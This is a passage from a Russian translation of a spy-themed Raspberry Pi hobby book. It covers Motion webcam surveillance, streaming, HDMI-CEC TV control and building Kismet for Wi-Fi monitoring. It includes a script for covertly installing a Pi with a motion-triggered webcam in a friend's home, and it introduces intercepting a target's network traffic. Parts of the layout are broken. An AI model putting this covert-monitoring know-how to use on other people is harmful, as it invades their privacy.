с пометкой «All - Все». Нажмите «All - Все», чтобы продолжить.
7. Маленькая система меню не очень продвинута, но содержит несколько
удобных ярлыков: detection - обнаружение позволяет нам временно
отключить тревогу по движению, а action -действие позволяет нам
писать снимки в формате JPG или выходить из движения. Ярлык
конфигурации, пожалуй, самый полезный и позволяет нам опробовать
различные директивы конфигурации на лету.
8. Щелкните config, а затем щелкните список, чтобы получить список
текущих загруженных директив конфигурации. Теперь нажмите
setup_mode, выберите в раскрывающемся меню и нажмите кнопку
настройки.
[ 79 ]

Мастера веб-камеры и видео

9. Вернитесь на вкладку камеры (http: // [IP-адрес]: 8081); вы будете
просматривать камеру в режиме настройки. Теперь снова помашите
рукой перед веб-камерой; вы увидите самые большие области
измененных пикселей, выделенные синим цветом, и незначительные
изменения в серых тонах. Вы также заметите три счетчика - D: для
разницы в пикселях, L: для меток (связанных областей пикселей) и N:
для уровней шума.

Камера движения в режиме настройки

Директивы конфигурации, которые вы захотите настроить, если обнаружите,
что обнаружение движения работает плохо, можно найти в разделе
«Настройки обнаружения движения» файла конфигурации.

Сбор доказательств
Теперь, когда мы установили начальную рабочую настройку Motion, мы
должны решить, какие действия мы хотим, чтобы система выполняла при
обнаружении. Подавать сигнал тревоги, сохранять изображения и видео об
обнаруженной активности, регистрировать активность в базе данных или
предупреждать кого-либо по электронной почте - все это действительные
ответы на обнаружение. Чтобы узнать, как настроить оповещения по
электронной почте при обнаружении, ознакомьтесь с разделом «Отправка
обновлений по электронной почте» в главе 5 «Использование вашего Pi в
бездорожье».
Давайте создадим каталог для хранения наших доказательств:
pi@raspberrypi ~ $ mkdir ~/evidence

Мы должны вернуться к файлу конфигурации Motion, но на этот раз мы
настраиваем систему для использования в реальном мире. Еще раз, мы
пройдемся по файлу конфигурации и остановимся, чтобы объяснить или
изменить параметры сверху вниз. Вам нужно сначала ввести следующую
команду, чтобы открыть файл для редактирования:
pi@raspberrypi ~ $ nano ~/.motion/motion.conf
[ 80 ]

Глава 3

Теперь внесите следующие изменения в файл конфигурации:


gap: мы возвращаем это значение к 60 секундам по умолчанию.



output_normal: Измените это значение на best, чтобы сохранить снимок



ffmpeg_cap_new: измените это значение на on, чтобы записывать



ffmpeg_video_codec: измените это на mpeg4, чтобы получить видео, которое



locate: снова установите для этого параметра значение off,



text_changes: аналогично предыдущему, снова отключите его для



target_dir: измените его на наш только что созданный каталог



webcam_maxrate: измените это значение обратно на 1, чтобы снизить загрузку



on_event_start: Вам решать, хотите ли вы сохранить сигнал

JPG, когда происходит самое большое изменение в движении. Также мы
собираемся записать видео, чтобы вы ничего не пропустили.
видео события, которое запускает обнаружение.

можно воспроизводить на самом Pi с помощью omxplayer или на другом
компьютере с VLC.
поскольку мы не хотим, чтобы на уликах отображался прямоугольник.
более чистого вывода видео.
/ home / pi / proof.

ЦП. Мы по-прежнему можем напрямую смотреть поток MJPG-стримера со
скоростью 30 кадров в секунду.
будильника. Почему бы не создать лучший вариант самостоятельно с
помощью espeak - возможно, голосом робота, говорящего
«предупреждение о вторжении!» - а затем воспроизвести его с
помощью простой команды sox.

Конфигурация движения в реальном мире

Теперь, если вы снова запустите Motion и активируете обнаружение, видеофайл
начнет записывать событие в ваш каталог ~ / proof, и после 60-секундного
перерыва в тот же файл будет записан снимок JPG с расположением
наибольшим изменения движения.
[ 81 ]

Мастера веб-камеры и видео

Просмотр доказательств
Каждый раз, когда записывается новый файл, имя файла будет объявлено в
журнале консоли движения:
File of type 8 saved to: /home/pi/evidence/01-20141008194653.avi
File of type 1 saved to: /home/pi/evidence/01-20141008194653-00.jpg

Чтобы просмотреть видео на самом Pi, используйте omxplayer и укажите имя файла:
pi@raspberrypi ~ $ omxplayer ~/evidence/01-20141008194653.avi

Перед просмотром изображений нам необходимо установить программу просмотра
изображений Fbi IMproved (FIM):
pi@raspberrypi ~ $ sudo apt-get install fim

Теперь мы можем запустить команду fim и указать ей на отдельное
изображение (указав его имя файла) или коллекцию изображений (используя
подстановочный знак или стерильный символ):
pi@raspberrypi ~ $ fim ~/evidence/*.jpg

Нажмите Enter, чтобы отобразить следующее изображение, и нажмите Q, чтобы выйти.

Подключение большего количества камер
Если у вас дома есть дополнительная веб-камера, возможно, встроенная в
ноутбук, было бы стыдно не позволить ей помочь с миссией по обнаружению
движения, верно?
Мы собираемся посмотреть, как подключить больше потоков с камер к Motion.
Эти потоки могут поступать с обычных IP-камер безопасности, но тот же метод
одинаково хорошо работает для веб-камер на компьютерах Windows и Mac, с
некоторыми изменениями.

Подготовка потока с веб-камеры в Windows
Мы будем использовать webcamXP для добавления дополнительных
камер в Windows. Ниже приведены необходимые шаги:
1. Посетите http://www.webcamxp.com/download.aspx, чтобы загрузить
последнюю версию установщика бесплатного приложения webcamXP
(wxpfree580.exe на момент написания).Бесплатная для частного
использования, webcamXP также поддерживает два потока камеры.
2. Установите webcamXP с помощью установщика.
3. Запустите webcamXP с помощью ярлыка (webcamXP 5) в меню «Пуск».
4. Щелкните правой кнопкой мыши большую рамку изображения и
выберите свою веб-камеру из списка; Скорее всего, он будет
находиться под PCI / USB (драйвером WDM).
[ 82 ]

Глава 3

Вы должны иметь возможность подтвердить, что поток работает, открыв новую
вкладку в вашем браузере и введя следующий адрес в адресной строке, но
изменив [WinIP] на IP-адрес вашего компьютера с Windows:
http: // [WinIP]: 8080 / cam_1.cgi

5. Отобразите указатель медиаресурсов (MRL) и скопируйте строку,
начинающуюся с qtcapture: //, за которой следует идентификационный
номер вашей конкретной веб-камеры. Далее вам понадобится эта строка
идентификатора.

Подготовка потока с веб-камеры в Mac OS X
Мы будем использовать VLC для добавления дополнительных камер в Mac OS X:
1. У вас уже должен быть установлен VLC в соответствии с инструкциями
в разделе «Просмотр веб-камеры в медиаплеере VLC» в этой главе.
2. Запустите VLC из папки Applications.
3. В раскрывающемся меню «File - Файл» выберите «Open Capture Device Открыть устройство захвата…».
4. Установите флажок « Video - Видео» и выберите свою веб-камеру из списка.
5. Отобразите Media Resource Locator (MRL) (указатель медиаресурсов) и
скопируйте строку, начинающуюся с qtcapture: //, за которой следует
идентификационный номер вашей конкретной веб-камеры. Далее вам
понадобится эта строка идентификатора.
6. Теперь выйдите из VLC и откройте окно терминала (расположенное в /
Applications / Utilities) и введите следующую команду, заменив [ID]
идентификатором вашей веб-камеры и отрегулировав ширину и высоту
в соответствии с вашей камерой:
/Applications/VLC.app/Contents/MacOS/VLC qtcapture://[ID]
--qtcapture-width 640 --qtcapture-height 480 --sout='#transcod
e{vcodec=mjpg}:duplicate{dst=std{access=http{mime=multipart/x-mixed-replace;
boundary=--7b3cc56e5f51db803f790dad720ed50a},mux=mpjpeg,dst=:
8080/stream.mjpg}}'

VLC начнет обслуживать необработанный поток M-JPEG через HTTP
через порт 8080, подходящий для подачи в Motion.
Вы должны иметь возможность подтвердить, что поток работает, открыв
новуювкладку в вашем браузере и введя следующий адрес в адресной
строке, ноизменив [MacIP] на IP-адрес вашего Mac:http: // [MacIP]: 8080 /
stream.mjpg.
7. Если поток работает нормально, переходите к добавлению его в
настройку движения. Вы можете выйти из VLC, чтобы остановить
поток в любое время.
[ 83 ]

Мастера веб-камеры и видео

Настройка Motion для нескольких входных потоков
Чтобы включить наш новый поток с веб-камеры в Motion, нам нужно будет
переработать конфигурацию, чтобы каждая камера работала в своем собственном
потоке. Для этого мы берем все директивы конфигурации, уникальные для каждой
веб-камеры, и помещаем их в отдельные файлы конфигурации: ~ / .motion /
thread1.conf для первой камеры, ~ / .motion / thread2.conf для второй камеры и т. д. .
Шаги следующие:

°

°

1. Начнем с нашей первой веб-камеры, подключенной к Pi. Следующие
директивы уникальны для камеры 1 и будут перенесены в thread1.conf:
° netcam_url http://localhost:8080/?action=stream: эта строка является
основным идентификатором первой камеры. Его нужно
закомментировать в motion.conf и добавить в thread1.conf.
° webcam_port 8081: Этот порт также уникален для камеры 1, и
следует закомментировать в motion.conf и добавить в thread1.conf.

°

°

2. Затем мы добавляем новый поток в thread2.conf:
° netcam_url http://[WinIP]:8080/cam_1.cgi or http://
[MacIP]:8080/stream.mjpg: эта строка уникальна для нашей второй камеры.
° webcam_port 8082: Мы указываем этот порт для просмотра
прямой трансляции с камеры номер два.
3. Теперь последнее, что нам нужно сделать, это включить потоки в ~ /
.motion / motion.conf. Внизу файла вы найдете директивы потока.
Измените два из них, чтобы включить новые конфигурации потоков:
thread /home/pi/.motion/thread1.conf
thread /home/pi/.motion/thread2.conf

В качестве последнего штриха вы можете раскомментировать директиву
конфигурации text_left, чтобы включить текстовые метки, которые
упростят различение каналов камеры.

[ 84 ]

Глава 3

Вот и все! Запустите Motion и наблюдайте за сообщениями при запуске.

Запуск движения с несколькими потоками камеры

Теперь посетите http: // [IP- address]: 7070, и вы увидите, что начальное меню
веб-администратора имеет больше смысла. Канал первой камеры доступен по
адресу http: // [IP- address]: 8081, а второй камеры - по адресу http: // [IPaddress]: 8082.

Создание стены наблюдения за безопасностью
Единственное, чего не хватает в нашей системе обнаружения движения это настоящая стена наблюдения за безопасностью логова злодея! Мы
можем легко собрать их, используя базовый HTML, и обслуживать страницу
с крошечным HTTP-сервером, уже работающим с MJPG-streamer.
Давайте добавим и отредактируем наш собственный HTML-документ с помощью
следующей команды:
pi@raspberrypi ~ $ sudo nano /usr/www/camwall.html

Используйте этот шаблон кода и замените [IP- address] IP-адресом вашего
Raspberry Pi:



Motion Camera Wall

img{border:black solid 1px; float:left; margin:0.5%;}
br{clear:both;}






[ 85 ]

Мастера веб-камеры и видео






Отрегулируйте количество тегов img, чтобы оно соответствовало количеству
потоков движения. Не стесняйтесь увеличивать значения ширины и высоты, если
разрешение вашего монитора может им соответствовать. Затем сохраните и
выйдите из nano.
Мы создали здесь простую HTML-страницу, которая показывает четыре
разных видеопотока на одной странице в виде сетки. Вы можете увидеть это
на следующем снимке экрана.
Каждый тег представляет одну видеокамеру.
Теперь вашей стеной мониторинга безопасности можно любоваться
http://[IPaddress]:8080/camwall.html.

Стена мониторинга безопасности движения

[ 86 ]

Глава 3

Просмотр данных с камеры через интернет
Что, если вы хотите наблюдать за своим штабом издалека или пригласить
коллегу-агента следить за проблемами, пока вы находитесь в командировке?
Вы можете попытаться сделать Pi доступным непосредственно через
Интернет, но гораздо удобнее позволить службе потокового вещания получать
поток с камеры Pi и делать его доступным любому количеству зрителей.
Есть несколько различных служб потокового вещания на выбор, и мы рассмотрим
одну под названием Ustream, но метод, описанный ниже, должен быть применим и
к другим компаниям.
Чтобы начать работу с Ustream, выполните следующую процедуру:
1. Посетите http://www.ustream.tv и создайте аккаунт.
2. После проверки вашего адреса электронной почты и входа в систему нажмите
«Go live - Вживую»!
Вы подписываетесь на бесплатную базовую службу вещания, которая подходит
для наших целей.
3. Выберите хорошее название для своего канала. Это имя будет
использоваться для создания URL-адреса для вашего канала камеры,
поэтому сделайте его коротким, чтобы вы могли его запомнить.
4. Создав канал, щелкните значок пользователя и выберите в меню
«Dashboard - Панель управления».
5. В группе «Channel - Канал» нажмите «Remote - Удаленный».
6. Поля RTMP URL и Stream Key будут скопированы в командную строку
для доставки потока камеры в службу вещания.

Связь между Pi и вещательной службой

[ 87 ]

Мастера веб-камеры и видео

7. Чтобы передавать изображение с камеры по протоколу обмена сообщениями
в реальном времени (RTMP), нам нужно использовать приложение под
названием avconv, которое является частью пакета ffmpeg. Если вы
установили Motion ранее в этой главе, у вас уже есть этот пакет, в противном
случае установите его сейчас с помощью следующей команды:
pi@raspberrypi ~ $ sudo apt-get install ffmpeg

8. Теперь попробуем трансляцию. Вы получите лучшую производительность,
если позволите утилите avconv захватывать видео прямо с камеры, без
использования mjpg_streamer или движения в фоновом режиме. Введите
следующую команду, но замените [RTMP URL] и [Stream Key] значениями,
скопированными ранее:
pi@raspberrypi ~ $ avconv -f video4linux2 -s 480x270 -r 15 -b 400k
-i /dev/video0 -f flv [RTMP URL]/[Stream Key]

Это самые краткие рекомендуемые настройки широковещания
для разрешения и частоты кадров. Возможно, вам придется
немного отрегулировать их, чтобы они соответствовали
возможностям вашей камеры.
9. Теперь у вас должна быть возможность настроиться на канал с камеры
из любого веб-браузера, посетив URL-адрес своего канала:
http://ustream.tv/channel/[your-channel-name]

Трансляция с камеры Pi просматривается в браузере

[ 88 ]

Глава 3

10. Если вы действительно хотите одновременно запустить Motion,
сначала запустите MJPG-streamer с меньшей частотой кадров:
pi@raspberrypi ~ $ mjpg_streamer -b -i "input_uvc.so -r 480x270 -f
15" -o "output_http.so -w /usr/www"

Затем запустите Motion и заставьте его работать в фоновом режиме с
помощью символа &:
pi@raspberrypi ~ $ motion &

Теперь заставьте утилиту avconv читать поток камеры как входной сигнал
от Motion:
pi@raspberrypi ~ $ avconv -f mjpeg -r 1 -i "http://localhost:8081"
-f flv [RTMP URL]/[Stream Key]

Включение и выключение телевизора с помощью Pi
В этом примере мы используем технологию под названием Consumer Electronics
Control (CEC), которая является функцией стандарта HDMI для отправки
управляющих сообщений на ваше домашнее электронное оборудование.
Чтобы помочь нам отправлять эти сообщения, нам понадобится программный пакет
под названием libCEC.К сожалению, версия libCEC, которая в настоящее время
является частью репозитория пакетов Raspbian, на самом деле не поддерживает
Raspberry Pi, поэтому нам нужно будет создать собственную программу из
исходного кода. Выполните следующие шаги для сборки libCEC:
1. Перед сборкой программы нам нужно будет добавить некоторые
заголовки разработчиков и библиотеки кода, на которые опирается
libCEC:
pi@raspberrypi ~ $ sudo apt-get install autoconf libtool libudev-dev
liblockdev1-dev

2. Затем мы извлекаем исходный код libCEC из репозитория Git проекта:
pi@raspberrypi ~ $ git clone git://github.com/Pulse-Eight/libcec.git

3. Теперь мы входим в исходный каталог и собираем программу,
используя следующую последовательность команд:
pi@raspberrypi ~ $ cd libcec
pi@raspberrypi ~/libcec $ ./bootstrap
pi@raspberrypi ~/libcec $ ./configure --prefix=/usr --with-rpiinclude-path=/opt/vc/include --with-rpi-lib-path=/opt/vc/libpi@raspberrypi ~/libcec $
make
pi@raspberrypi ~/libcec $ sudo make install
[ 89 ]

Мастера веб-камеры и видео

4. Учтите, что процесс сборки займет некоторое время. Вы можете
отойти от Pi на двадцать минут, чтобы размять ноги. По завершении
вы можете выйти из исходного каталога и удалить его:
pi@raspberrypi ~/libcec $ cd .. && rm -rf libcec

5. Мы будем использовать утилиту под названием cec-client для отправки сообщений
CEC на телевизор. Выполните следующую команду, чтобы выключить телевизор:
pi@raspberrypi ~ $ echo "standby 0" | cec-client -d 1 -s

6. Используйте следующую команду, чтобы снова включить телевизор:
pi@raspberrypi ~ $ echo "on 0" | cec-client -d 1 -s

Планирование видеозаписи или постановка
воспроизведения для испуга
На этом этапе вы уже знаете все отдельные техники, использованные в этом
примере. Это просто вопрос объединения того, чему вы уже научились, для
достижения желаемого эффекта.
Мы попытаемся проиллюстрировать все понемногу с помощью одной милой
шутки: вы подготовите свой Pi дома, отнесете его в дом своего друга и
украдкой подключите его к телевизору в гостиной. Среди ночи телевизор
включится, и начнется воспроизведение жуткого видео по вашему выбору.
Этот странный инцидент может повториться пару раз в течение ночи, или мы
могли бы пойти на второй этап: всякий раз, когда кто-то входит в комнату, его
присутствие обнаруживается и воспроизводится видео.
Начнем готовить Pi! Мы предполагаем, что в доме вашего друга нет сетевого
подключения, поэтому нам придется создать новый скрипт ~ / autorun.sh для
выполнения нашей шутки вместе с таймером at в /etc/rc.local, который
начинает обратный отсчет когда Pi подключен в доме вашего друга.
Вот новый скрипт ~ / autorun.sh
#!/bin/sh
#
# Raspberry Pi Video Prank Script
# Use chmod +x ~/autorun.sh to enable.
CREEPY_MOVIE="AJn5Y65GAkA.mp4" # Creepy movie to play, located in the
Pi home directory
MOVIE_LOOPS="1" # Number of times to play creepy movie (1 by default)
MOVIE_SLEEP="3600" # Number of seconds to sleep between movie plays (1
hour by default)
[ 90 ]

Глава 3

WEBCAM_PRANK="y" # Set to y to enable the motion detection prank
tv_off() {
if [ "$(echo "pow 0" | cec-client -d 1 -s | grep 'power status:
on')" ]; then # If TV is currently on
echo "standby 0" | cec-client -d 1 -s # Send the standby command
fi
}
prepare_tv() {
tv_off # We switch the TV off and on again to force the
active channel to the Pi
sleep 10 # Give it a few seconds to shut down
echo "on 0" | cec-client -d 1 -s # Now send the on command
sleep 10 # And give the TV another few seconds to wake up
echo "as" | cec-client -d 1 -s # Now set the Pi to be the
active source
}
play_movie() {
if [ -f ~/"$CREEPY_MOVIE" ]; then # Check that the creepy movie
file exists
omxplayer -o hdmi ~/"$CREEPY_MOVIE" # Then play it with sound
going out through HDMI
fi
}
start_webcam_prank() {
if [ "$WEBCAM_PRANK" = "y" ]; then # Continue only if we have
enabled the webcam prank
mjpg_streamer -b -i "input_uvc.so -r 640x480 -f 30" -o "output_
http.so -w /usr/www" # Start our webcam stream
motion -c ~/.motion/prank.conf # Start up motion with our special
prank configuration file
fi
}
case "$1" in
prankon) # Signal from Motion that event has started
prepare_tv
play_movie
tv_off
;;
prankoff) # Signal from Motion that event has ended
;;
[ 91 ]

Мастера веб-камеры и видео

*) # Normal start up of autorun.sh script
for i in $(seq $MOVIE_LOOPS) # Play creepy movie in a loop the
number of times specified
do
prepare_tv
play_movie
tv_off
sleep "$MOVIE_SLEEP" # Sleep the number of seconds specified
done
start_webcam_prank # Begin prank phase 2
;;
esac

Не забудьте разрешить исполняемый файл скрипт, используя chmod + x ~ / autorun.sh.
Как видите, мы запускаем Motion со специальным файлом конфигурации для розыгрыша,
который называется ~ / .motion / prank.conf. Это копия вашей предыдущей конфигурации с
одним потоком, за исключением двух директив конфигурации:
on_event_start /home/pi/autorun.sh prankon
on_event_end /home/pi/autorun.sh prankoff

Это позволит нашему скрипту реагировать на события движения.
Теперь все, что нам нужно сделать, это настроить /etc/rc.local, чтобы установить
таймер для нашего скрипта autorun.sh с помощью команды at. Введите sudo nano
/etc/rc.local, чтобы открыть его для редактирования, и настройте следующий блок:
if [ -x /home/pi/autorun.sh ]; then
sudo -u pi at now + 9 hours -f /home/pi/autorun.sh
fi

Поэтому, если вы подключите Pi в доме вашего друга в 18:00, странные вещи
должны начаться примерно в 3 часа ночи.
Что касается того, какой жуткий фильм воспроизводить, мы оставляем это
полностью на ваше усмотрение. Есть инструмент под названием youtube-dl,
который может вам пригодиться. Установите его и обновите с помощью следующей
последовательности команд:
pi@raspberrypi ~ $ sudo apt-get install youtube-dl
pi@raspberrypi ~ $ sudo wget https://yt-dl.org/latest/youtube-dl -O /usr/
bin/youtube-dl

Теперь вы можете использовать его для получения таких видео:
pi@raspberrypi ~ $ youtube-dl http://www.youtube.com/
watch?v=[creepyvideoid]
[ 92 ]

Глава 3

Резюме
В этой главе мы познакомились с двумя компонентами, участвующими в работе
с камерой в Linux: драйверами USB Video Class и фреймворком Video4Linux.
Вы узнали, как получить важную информацию о возможностях вашей камеры;
вы также узнали немного о форматах пикселей, разрешении изображений и
частоте кадров.
Мы приступили к настройке видеопотока MJPG-streamer, доступного напрямую
через веб-браузер или через медиаплеер VLC, который мы также можем
использовать для записи потока для постоянного хранения.
Затем мы сначала погрузились в системы обнаружения движения, представив
приложение «Motion - Движение». Вы узнали, как создать начальную
конфигурацию, подходящую для проверки и настройки механизма обнаружения
движения, и как подавать сигнал тревоги при обнаружении. После успешного
первого запуска мы сделали вторую конфигурацию, которая
добавилавозможности сбора доказательств. Мы также изучили, как
рассматривать эти доказательства. Не довольствуясь тем, что неиспользуемые
веб-камеры в доме выбрасываются впустую, мы изучили, как подключить
дополнительные потоки камер к системе Motion и как продемонстрировать эту
настройку с помощью простой стены мониторинга безопасности HTML.
Затем мы сделали нашу камеру легко доступной для просмотра через
Интернет с помощью службы вещания, которая принимала нашу камеру
через поток RTMP.
Мы также рассмотрели, как использовать технологию CEC для удаленного
управления телевизором, подключенным к Pi, - изящный трюк, который
пригодился для нашей последней и самой смелой шутки: жуткого страха при
воспроизведении.
В следующей главе мы углубимся в мир компьютерных сетей, и вы узнаете,
как полностью управлять своей точкой доступа Wi-Fi.

[ 93 ]

Розыгрыши Wi-Fi Изучение вашей сети
В наш век цифровой информации секретный агент должен легко управлять
компьютерными сетями. Сложные детали протоколов и сетевых пакетов до сих
пор остаются для большинства людей тайной. В этой главе вы получите
преимущество, просто уловив и внимательно изучив сетевые сигналы, которые
окружают всех нас каждый день.
Мы начнем с анализа трафика Wi-Fi вокруг дома, а затем более подробно
наметим вашу локальную сеть, чтобы вы могли выбрать интересную цель для
сетевых розыгрышей. Вы не только узнаете, как перехватывать сетевой
трафик вашей цели, манипулировать им и шпионить за ним, но и как защитить
себя и свою сеть от вреда.

Получение обзора всех компьютеров
в вашей сети
В частности, при анализе сетей Wi-Fi необходимо учитывать безграничный
характер радиосигналов. Например, кто-то может быть припаркован в машине
перед вашим домом, запустить мошенническую точку доступа и обмануть
компьютеры в вашем доме, чтобы направить весь свой трафик через это
гнусное оборудование для наблюдения. Чтобы иметь возможность
обнаруживать такие атаки, вам нужен способ наблюдения за воздушным
пространством вокруг вашего дома.

Розыгрыши Wi-Fi - Изучение вашей сети

Мониторинг воздушного пространства Wi-Fi с
помощью Kismet
Kismet - это анализатор спектра и трафика Wi-Fi, который полагается на
способность вашего адаптера Wi-Fi переходить в так называемый режим
мониторинга. Вы должны знать, что не все адаптеры и драйверы поддерживают
этот режим работы. Лучше всего поискать адаптер на базе чипсета Atheros, но
Kismet попытается обнаружить и использовать любой адаптер - просто
попробуйте и сообщите об этом другим на Raspberry Pi.форумы
(http://www.raspberrypi.org/forums/).
Поскольку ваш адаптер Wi-Fi будет занят мониторингом радиоволн, вы
захотите работать непосредственно на самом Pi с помощью клавиатуры и
монитора или войти в Pi через проводное соединение. Если вы хотите
установить прямое проводное соединение без роутера, см. Раздел
«Настройка двухточечной сети» в главе 5 «Внедрение Pi».
Нам придется собрать Kismet самостоятельно из исходного кода, поскольку
пакет в репозитории Raspbian очень старый. Ниже приведены шаги для
создания Kismet:
1. Во-первых, добавьте несколько заголовков разработчиков и
библиотек кода, на которыеопирается Kismet:
pi@raspberrypi ~ $ sudo apt-get install libncurses5-dev libpcap-dev libpcre3-dev
libnl-3-dev libnl-genl-3-dev libcap-devlibwireshark-data

2. Затем загрузите исходный код Kismet с веб-страницы проекта:
pi@raspberrypi ~ $ wget http://www.kismetwireless.net/code/kismet2013-03-R1b.tar.gz

3. Теперь извлеките дерево исходных текстов и соберите
программу, используя следующую последовательность команд:
pi@raspberrypi ~ $ tar -xvf kismet-2013-03-R1b.tar.gzpi@raspberrypi ~ $ cd
kismet-2013-03-R1b
pi@raspberrypi ~/kismet-2013-03-R1b $ ./configure --prefix=/usr
--sysconfdir=/etc --with-suidgroup=pi
pi@raspberrypi ~/kismet-2013-03-R1b $ make
pi@raspberrypi ~/kismet-2013-03-R1b $ sudo make suidinstall

4. Процесс сборки Kismet довольно длительный и занимает около
часа времени Pi. По завершении вы можете выйти из исходного
каталога и удалить его:
pi@raspberrypi ~/kismet-2013-03-R1b $ cd .. && rm -rf kismet-2013-03-R1b

[ 96 ]

Глава 4

Подготовка Kismet к запуску
Когда адаптер Wi-Fi входит в режим мониторинга, это означает, что он не
связан с какой-либо конкретной точкой доступа и просто прослушивает любой
трафик Wi-Fi, который случайно проносится в воздухе. Однако в Raspbian в
фоновом режиме работают служебные приложения, которые пытаются
автоматически связать ваш адаптер с сетями Wi-Fi.Нам придется временно
отключить два из этих вспомогательных приложений, чтобы они не мешали
адаптеру во время работы Kismet.
1. Откройте / etc / network / interfaces для редактирования:
pi@raspberrypi ~ $ sudo nano /etc/network/interfaces

2. Найдите блок, который начинается с allow-hotplug wlan0, и поместите
символ # перед каждой строкой, как мы это сделали здесь:
#allow-hotplug wlan0
#iface wlan0 inet manual
#wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
#iface default inet dhcp

Нажмите Ctrl + X, чтобы выйти, и выберите y, когда будет предложено
сохранить измененный буфер, затем нажмите клавишу Enter, чтобы
подтвердить имя файла для записи. Это предотвратит вмешательство
утилиты wpa_supplicant в Kismet.
3. Затем откройте / etc / default / ifplugd для редактирования:
pi@raspberrypi ~ $ sudo nano /etc/default/ifplugd

4. Найдите строку с надписью INTERFACES и измените ее с auto на eth0,
затем найдите строку с надписью HOTPLUG_INTERFACES и измените
ее со "all" на "", как мы это сделали здесь:
INTERFACES="eth0"
HOTPLUG_INTERFACES=""

Это предотвратит вмешательство утилиты ifplugd в Kismet.
5. Теперь перезагрузите Pi. После повторного входа в систему вы можете
убедиться, что ваш адаптер не связан ни с одной точкой доступа, используя
следующую команду:
pi@raspberrypi ~ $ iwconfig

Адаптер Wi-Fi не показывает связанную точку доступа

[ 97 ]

Розыгрыши Wi-Fi - Изучение вашей сети

Kismet имеет возможность наносить на карту точки доступа с помощью
подключенного GPS. Если у вас есть GPS, который вы хотели бы
использовать с Kismet, прочтите раздел «Отслеживание местонахождения Pi с
помощью GPS» главы 5 «Внедрение вашего Pi в бездорожье», чтобы узнать,
как настроить адаптер GPS, а затем продолжайте чтение отсюда.
Kismet также может предупреждать вас о новых открытиях сети с помощью
звуковых эффектов и синтезированной речи. Программы SoX и eSpeak из
главы 2 «Звуковые выходки» хорошо подходит для этих целей. Если они у вас
еще не установлены, используйте следующую команду, чтобы добавить их в
вашу систему сейчас:
pi@raspberrypi ~ $ sudo apt-get install sox libsox-fmt-mp3 espeak

Еще одна очень важная функция Kismet - создание подробных файлов
журналов. Давайте создадим каталог для хранения этих файлов, используя
следующую команду:
pi@raspberrypi ~ $ mkdir ~/kismetlogs

Прежде чем мы запустим Kismet, нам нужно открыть файл конфигурации, чтобы
настроить несколько параметров по своему вкусу, используя следующую команду:
pi@raspberrypi ~ $ sudo nano /etc/kismet.conf

Мы рассмотрим настройку и остановимся, чтобы объяснить или изменить
параметры сверху вниз:


logprefix: раскомментируйте и измените строку префикса журнала, чтобы файлы

журнала, созданные Kismet, хранились в предсказуемом месте:

logprefix=/home/pi/kismetlogs



ncsource: раскомментируйте и измените строку ncsource, чтобы Kismet знал,

какой интерфейс Wi-Fi использовать для мониторинга.
Для этой директивы есть много вариантов, и Kismet по большей части
должен выбирать разумные значения по умолчанию, но мы указали
здесь два варианта, которые оказались необходимыми в некоторых
случаях на Pi:

ncsource=wlan0:forcevap=false,validatefcs=true



gps: измените эту строку на gps = false, если у вас нет подключенного GPS,

в противном случае оставьте все как есть и проверьте, что ваш
gpsd запущен и работает.

Первая сессия Kismet
Приложение Kismet фактически состоит из отдельного серверного компонента
и клиентского интерфейса, что означает, что вы можете позволить Pi
запускать только сервер Kismet, а затем подключить к нему клиентский
интерфейс с другого компьютера.
[ 98 ]

Глава 4

В этом случае мы запустим и сервер, и клиента на Pi, используя следующую команду:
pi@raspberrypi ~ $ kismet

Вас встретит красочный интерфейс консоли и ряд всплывающих диалоговых
окон, задающих вам вопросы о вашей настройке. Используйте клавишу Tab
для переключения между ответами и нажимайте клавишу Enter для выбора.
Первый вопрос о цвете просто настраивает цветовую схему, используемую
интерфейсом Kismet, в зависимости от вашего ответа. Выберите «Yes - Да»
на второй вопрос о запуске сервера Kismet, затем примите параметры по
умолчанию для сервера Kismet и выберите «Start - Пуск».
Это решающий момент, когда вы узнаете, успешно ли ваш конкретный адаптер
Wi-Fi войдет в режим мониторинга, чтобы Kismet мог творить чудеса. Если ваш
адаптер не поддерживает режим монитора, он сообщит вам об этом в консоли
Kismet Server.

Сообщение о первой обнаруженной сети на консоли Kismet Server

Когда вы видите сообщения о новых обнаруженных сетях, которые начинают
появляться в журнале, вы знаете, что все работает нормально, и вы можете
закрыть серверную консоль, нажав клавишу Tab, чтобы выбрать Close Console
Window, а затем нажав клавишу Enter.
Теперь взгляните на главный экран Kismet, который состоит из различных
областей просмотра - View areas, из которых наиболее заметен Network
List - список сетей. Вы увидите любое количество точек доступа в
непосредственной близости и сможете определить свою точку доступа в
списке.
В правой части экрана находится область General Info - общей информации,
которая обеспечивает общий обзор сеанса Kismet, а Packet Graph - пакетный
график посередине обеспечивает мониторинг активности процесса захвата
пакетов в реальном времени.
Status area - Область состояния внизу содержит последние сообщения из
консоли Kismet Server и позволяет легко определить, когда новые точки
доступа обнаруживаются и добавляются в список.
[ 99 ]

Розыгрыши Wi-Fi - Изучение вашей сети

Чтобы переключить раскрывающееся меню в верхней части экрана, нажмите
клавишу ~ (обычно расположенную под клавишей Esc), а затем используйте
клавиши со стрелками для навигации по меню и нажмите клавишу Enter для
выбора. Нажмите ту же кнопку ~, чтобы закрыть меню. Также есть
подчеркнутые буквы и сочетания букв, которые можно использовать для
более быстрой навигации по меню.
Посмотрим на меню « Sort - Сортировка». Когда вы начинаете, список сетей
настроен на сортировку автоматически. Чтобы иметь возможность выбирать
отдельные точки доступа в списке для дальнейших операций, необходимо
выбрать один из доступных методов сортировки. Хороший выбор - Packets Пакеты (по убыванию), поскольку при этом наиболее активные точки доступа
отображаются вверху списка.

Kismet showing the sort menu

Теперь вы сможете использовать клавиши со стрелками в списке « Network Сеть», чтобы выбрать точку доступа и поближе познакомиться с
подключенными компьютерами, просмотрев список клиентов в
раскрывающемся меню «View - Просмотр» или «Windows». Каждый адаптер
Wi-Fi, связанный с точкой доступа, имеет уникальный идентификатор
оборудования, называемый MAC-адресом. Хотя эти адреса могут быть
подделаны (сфальсифицированы), это дает вам представление о том, сколько
компьютеров активно отправляют и получают сетевые пакеты в вашей сети,
как указано значком! символ перед активными MAC. Просто имейте в виду, что
сама точка доступа отображается в списке как Wired/AP - проводная / точка
доступа.

Добавление звука и речи
Большинство аспектов пользовательского интерфейса Kismet можно изменить
на панели «Preferences - Настройки» в раскрывающемся меню Kismet. Чтобы
добавить звуковые эффекты или синтезированную речь, выберите параметр
«Аудио…».
[ 100 ]

Глава 4

Используйте клавиши Tab и Enter, чтобы включить Sound - звук и / или
